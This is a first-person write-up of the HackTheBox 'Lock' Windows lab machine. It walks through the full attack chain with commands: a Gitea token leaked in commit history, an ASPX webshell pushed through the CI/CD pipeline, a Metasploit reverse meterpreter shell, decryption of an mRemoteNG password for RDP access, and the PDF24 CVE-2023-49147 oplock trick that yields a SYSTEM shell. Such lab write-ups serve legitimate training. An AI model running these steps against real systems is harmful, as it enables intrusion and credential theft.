Lock is a vulnlab machine imported to HackTheBox as a Easy Windows box. I started with network enumeration with nmap, revealing this machine is Windows Server that running Gitea, website on port 80, RDP and SMB.
On the enumeration phase, I discovered Gitea personal access token (PAT) from commit history of exposed repository which I use it with the script in that repository to discover the website repository which responsible for deploying the website.
After discover that CI/CD integration is active, I deployed an aspx webshell and get foothold as "ellen.freeman".
I discovered mRemoteNG configuration file that contain credential of "gale.dekarios" user on the documents folder of "ellen.freeman" which after decrypting it, I can access to the box again with RDP.
Lastly, I exploited CVE-2023-49147 of PDF24 Creator by creating an oplock to the log file that will be accessed by SYSTEM process during reparing process, I opened a new web browser as SYSTEM which then spawned command prompt from it later to root the box.
I start with nmap scan without any flag to quickly scan for well-known port which reveals that this machine are running port 80 for website, 445 for SMB, 3389 for RDP and unknown service on port 3000.
I rerun nmap scan again but with -sCV for service enumeration and nmap script engine which I discover Gitea running on port 3000 and the website on port 80 is running with IIS.
I try to use null session and guest account to see if I can connect to any share with any of these but both are not usable here.
I start enumerate the website but nothing too interesting here, the tech stack is very common but at least I know that the machine is Windows Server.
Now it is the time for me to look at Gitea.
I found the Gitea version from the buttom on website but I did not find any interesting CVE that could be used for initial access for me.
I discover "dev-scripts" repository exposing on Gitea which own by "ellen.freeman" user so I'll take a look at it.
There is a repos.py script on this project and it can be used fetch the repository using Gitea PAT (Personal Acces Token) and the domain that host it so there is a chance that the first version of this script could leak PAT that I could take advantage of.
A Gitea Personal Access Token (PAT) is an authentication token used to grant programmatic access to your Gitea account without needing to provide your username and password directly. This is particularly useful for automation, integrations with other tools (like CI/CD pipelines, IDEs, or other applications), and when you need to grant limited, revocable access.
I check the git commit history which I found that there is 1 commit before the current one that I could check.
And as expected,There is hard-coded PAT in the intial version of this script.
Now I will clone the repo to my machine and with GITEA PAT, I use the script to list more repositories hosting on server I found the "website" repository could be the one repository that used to deploy website on port 80.
git clone http://10.129.168.165:3000/ellen.freeman/dev-scripts.git
cd dev-scripts
export GITEA_ACCESS_TOKEN=43ce39bb0bd6bc489284f2905f033ca467a6362f
python repos.py http://10.129.168.165:3000/
I clone the website repository and found couple of files that really confirm that this repository is responsible for website hosting on port 80.
git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.168.165:3000/ellen.freeman/website.git
The content of README.md file reveals that CI/CD integration is active and anything I put here will be deployed on the webserver. which mean I can use this to deploy my webshell and get a foothold
I'll use the an aspx webshell already shipped in Kali Linux to deploy and push the commit to the repository hosting on the webserver to deploy.
cp /usr/share/webshells/aspx/cmdasp.aspx .
git add cmdasp.aspx
git config --global user.name "ellen.freeman"
git config --global user.email "ellen.freeman"
git commit -m "bug fix"
git push
Now I can access the webshell on my web browser.
I run whoami /all command to identify which user is running the website which reveals that "ellen.freeman" is running this website and does not have much privilege that can be used for privilege escalation but I still need to get my foothold first before enumerate further.
I'll use web_delivery module from metasploit framework to quickly generate powershell reverse shell payload (alternatively you can use revshells.com for this as well)
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost tun0
set lport 443
run
After parsing the log in the webshell, I have fully interactive shell on the server as "ellen.freeman" and I still could not find the user flag yet so It might be in another user's folder.
After initial enumration, I found that beside "ellen.freeman", there is one more non-standard user on this server which is "gale.dekarios".
On the documents folder of "ellen.freeman", I found config.xml file which is a configuration file of mRemoteNG which contains encrypted password of "gale.dekarios" user.
I will download this configuration file to decrypt it with mRemoteNGpassworddecrypt script.
After executing the script, I finally get the password of "gale.dekarios" user as seen in the image below.
python mremoteng_decrypt.py config.xml
I use netexec to confirm that if I can really use this credential to access to the server via RDP and the result says that I can with the letter "Pwn3d!"
nxc rdp 10.129.168.165 -u Gale.Dekarios -p ty8wnW9qCKDosXo6
I use xfreerdp to access to server as "gale.dekarios" user and now I can see user flag on the desktop and also with mRemoteNG and PDF24 icon which obvious hint for privilege escalation path.
xfreerdp /u:Gale.Dekarios /p:'ty8wnW9qCKDosXo6' /v:10.129.168.165 /cert-ignore /dynamic-resolution +clipboard
PDF24 caught my eye right away after gaining access via RDP so I will check the version of this software from its installation folder here.
Most software have the version embedded inside its executable property which I found that the PDF24 installed on this machine is version 11.15.
I quick google search reveal that in this version, it is vulnerable to CVE-2023-49147 which explain that during the repair process of PDF24 msi file, a subprocess get calls as SYSTEM to write log file and if I can block that file with oplock then the cmd process with SYSTEM privilege will hang which I can spawn another cmd as SYSTEM from it
And inside the _admin folder located on the root of C drive, I have PDF24 installer file so I won't need to download it from the internet to attempt this exploit this.
First, I'll transfer SetOpLocks.exe from symboliclink-testing-tools repository.
Since I use Microsoft Edge inside Server to download it then SmartScreen gonna block it which I'll need to keep this file manually like this.
With the file ready, I create an oplock from the log file that will be used by repairing process. (and i guess this is why this box is called "Lock")
An oplock (opportunistic lock) is a mechanism in Windows that lets a client request exclusive asynchronous notification/control over a file. If you successfully set an oplock on a file and another process tries to access it, the accessing process may block or get notified.
SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" r
With the oplock ready, I will initial the repairing process with MSI file and let it run until it get stuck.
msiexec /fa pdf24-creator-11.15.1-x64.msi
After a while, I finally have a command prompt (repairing process) hanging which I right-click at the command prompt to open its propety and try to open a new web browser with it. from the PoC it clearly says that
Note: This attack does not work using a recent version of the Edge Browser or Internet Explorer. A different browser, such as Chrome or Firefox, needs to be used. Also make sure, that Edge or IE have not been set to the default browser.
So I choose Firefox without a doubt to avoid any issue.
After I get firefox running as SYSTEM, I press Ctrl + O to use open file feature which I can run cmd from file explorer windows that was pop-up like this.
Now I have a SYSTEM shell.
Root flag is located on the desktop of administrator user and now i successfully root the box :D
https://labs.hackthebox.com/achievement/machine/1438364/699